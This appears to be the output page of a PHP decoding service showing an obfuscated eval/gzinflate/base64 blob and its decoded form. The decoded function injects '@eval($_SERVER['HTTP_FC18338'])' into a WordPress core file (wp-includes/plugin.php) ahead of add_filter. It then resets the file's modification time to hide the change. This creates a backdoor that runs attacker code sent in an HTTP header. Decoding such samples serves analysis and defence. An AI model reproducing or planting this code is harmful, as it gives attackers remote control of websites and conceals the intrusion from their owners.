Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode("jVJrb5swFP2eX8GkSCRKNUFoEkXTtDVpafNgtHkAZZoisE1icAwDkwSm/vcZ..
Decoded Output download
phpConfValidate('YTo0OntpOjA7czo1OToiL3Zhci93d3cvY2xpZW50cy9jbGllbnQzMy93ZWI0ODUvd2ViL3dwLWluY2x1ZGVzL3BsdWdpbi5waHAiO2k6MTtzOjk4OiJ+ZXZhbFteXChcblxyXSpcKFteXCRdKlwkX1tBLVpdezZ9W15cW10qXFtbXlwnXCJdKltcJ1wiXUhUVFBfRkMxODMzOFtcJ1wiXVteXF1dKlxdW15cKV0qXClbXjtdKjt+cyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQX0ZDMTgzMzgnXSk7IjtpOjM7czozNjoifl5ccypmdW5jdGlvblxzK2FkZF9maWx0ZXJbXlx7XStce35tIjt9');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (preg_match($systemEnv, $source)) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);
$newSource = preg_replace($incorrectRegex, '', $source);
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
if (!preg_match($systemEnv, $newSource)) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode("jVJrb5swFP2eX8GkSCRKNUFoEkXTtDVpafNgtHkAZZoisE1icAwDkwSm/vcZ8uxD2vwB2/icc+8991aiVdQPqWc4BEOHoZr4PAslnbJI9286IA9lfRbisWKvAO4qUAGb5+Yuss2WBLKu794T4tKnXMu6im0OJP12voFNg+PhdmySlGNl+97Ix0ovgSaMXNzaOg83WG8GbW3Gct0PrnU8bNiWvXJVhqz+Crhkl1nTCIzK+wSOyDawZNYbGxFEud015RYwZem3pTLXIltq9Yccw8BQ3mJrvpobas+bBNpOv9VyXT38N7iWKnPcDhb8kcH5feJaPoMjnzVANug4szDTFa2t5YP2IOgRuFaTUX/izSVjagTG1MzgwFAnT5Zk32qzZa7lS2pNg87AL7zSCq/yH36IPdICIIvW0Gz58J5seD35qKkGttpdO+ZOsq0hz3vXsaYMIKXFOL8r1r9UvJQChkMqvO1INUFxXfhTqQh8EZwwoVb1UkIeHba6EqpJljC0vqMbfgYhRHyLHMZQTOvCVyGlnI25VI5qrpOg9vUCogK2l+VxC9VqEqYxQBzvYYIWS8QWIKQMUZacYx2w2BNqUYyWi7XDwKr2Kv5epl5kKxxWjFga0z315STw6VLhkO6Jzw/lC0r+obTPHVMQxjECbIKWaMdrSFi8iFFEHMDHGYnCZ0HcOOVGxCtB/P7NiePy6mTipYFHMyjaTo9+lHkexd6E4lriuegPyJeJHEv6Kf06NIpn8PjwuLjTx/z0+vkkclA9f96Zd2n/mfY/vhWtXjO8Pra9PF+0W2gIsrSnpZRgGrwbhXJYovSjYfmgCBamRcIXiFNUjnip/AU=")));
Function Calls
gzinflate | 1 |
base64_decode | 1 |
phpConfValidate | 1 |
Stats
MD5 | 70e3e713521ad28f2615a8884c9c651c |
Eval Count | 1 |
Decode Time | 87 ms |